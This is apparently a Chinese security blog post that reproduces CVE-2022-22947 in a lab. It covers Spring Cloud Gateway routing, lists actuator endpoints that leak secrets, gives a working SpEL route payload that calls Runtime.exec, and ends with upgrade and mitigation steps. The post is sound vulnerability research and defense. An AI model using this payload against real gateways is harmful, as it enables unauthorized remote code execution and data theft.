CVE-2022-22947|Spring Cloud Gateway SpEL表达式注入漏洞

SpringCloud Gateway 简介

SpringCloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。

名词解释

路由Route):网关的基本组成部分。它由一个 ID、一个目标 URI、一组谓词和一组过滤器定义。

谓词Predicate) :匹配 HTTP 请求中的任何内容,例如header,请求头参数等。若不匹配则会返回404

过滤器Filter):可以使用它拦截和修改请求,并且对上游的响应,进行二次处理。具有鉴权、限流、日志输出等作用

SpringCloud Gateway 工作原理

客户端向 Spring Cloud Gateway 发出请求。然后在 Gateway Handler Mapping 中找到与请求相匹配的路由,将其发送到 Gateway Web Handler。Handler 再通过指定的过滤器链来将请求发送到我们实际的服务执行业务逻辑,然后返回。过滤器之间用虚线分开是因为过滤器可能会在发送代理请求之前(“pre”)或之后(“post”)执行业务逻辑。

Spring Cloud Gateway Diagram

一个简单的路由配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
server:
port: 8080
spring:
application:
name: gateway-demo
cloud:
gateway:
routes:
# 路由1:基础转发
- id: test_route
uri: https://httpbin.org
predicates:
# 访问路径匹配
- Path=/api/**
# 只允许 GET 请求
- Method=GET
filters:
# 去掉前缀 /api
- StripPrefix=1
# 添加请求头
- AddRequestHeader=X-Test, HelloGateway
# 添加响应头
- AddResponseHeader=X-Response-Test, GatewayOK

客户端访问https://httpbin.org/api/userid(必须使用GET方法,请求中包含X-Test:HelloGateway)通过过滤器变成:https://httpbin.org/微服务名称/userid,微服务处理的结果通过过滤器加一个响应头:X-Response-Test:GatewayOK


Spring Cloud Gateway 在其 3.1.0 及 3.0.6 版本(包含)以前存在一处 SpEL 表达式注入漏洞,当 Gateway Actuator 端点启用、暴露且不安全时,使用 Spring Cloud Gateway 的应用程序很容易受到代码注入攻击。远程攻击者可能会发出恶意制作的请求,从而允许在远程主机上进行任意远程执行。

CVE-2022-22947复现

image-20260524211847245

使用SpringBoot-Scan工具扫描到/actuator接口泄露

image-20260524212001387
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/actuator/env:环境变量(数据库信息,api key,token)

/actuator/configprops(密码,内部服务器地址,私有配置结构)

/actuator/heapdump(明文密码,token,session,用户数据)

/actuator/threaddump(SQL 语句,请求参数,内部调用链)

/actuator/logfile(用户信息,错误堆栈,Toke,请求参数)

/actuator/metrics(URL 路径,接口访问情况,内部系统结构)

/actuator/mappings(所有 API 路径,Controller 方法)

/actuator/beans(类名、包结构、依赖关系)

/actuator/httptrace (存储seesion,cookie信息)

访问/actuator/mappings,显示所有接口

image-20260525142815035 image-20260525151037877

添加一个包含恶意 SpEL 表达式的路由:

image-20260525144813322

1
2
3
4
5
6
7
8
9
10
11
12
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://192.168.4.134:8080"
}

刷新路由缓存,触发 SpEL 表达式的执行:

image-20260525150542339

检索hacktest路由:

image-20260525150736889

成功执行命令

修复方案

  1. 终极修复:升级版本(推荐)

官方已修复此漏洞,建议将 Spring Cloud Gateway 升级至以下安全版本或更高版本:

  • 3.1.x 版本:升级至 3.1.1 及以上版本
  • 3.0.x 版本:升级至 3.0.7 及以上版本
  • 旧版本:若使用更早版本,建议全面升级至最新稳定版
  • 临时缓解措施(未升级时使用)

若暂时无法重启应用或进行版本升级,可通过以下两种方式临时规避风险:

  • 关闭 Gateway 执行器
    application.ymlapplication.properties 配置文件中禁用 actuator 的 gateway 端点:

    yaml

    1
    management.endpoint.gateway.enabled: false
  • 开启 Spring Security 认证

    如果业务需要保留 actuator 功能,请务必启用 Spring Security 对网关执行器接口进行权限控制,防止未授权访问。

参考链接:https://blog.csdn.net/weixin_39190897/article/details/136245568

https://docs.spring.io/spring-cloud-gateway/reference/spring-cloud-gateway-server-webflux/actuator-api.html

https://www.cnblogs.com/crazymakercircle/p/11704077.html

Previous poststruts2历史漏洞复现Next postXXE漏洞原理与利用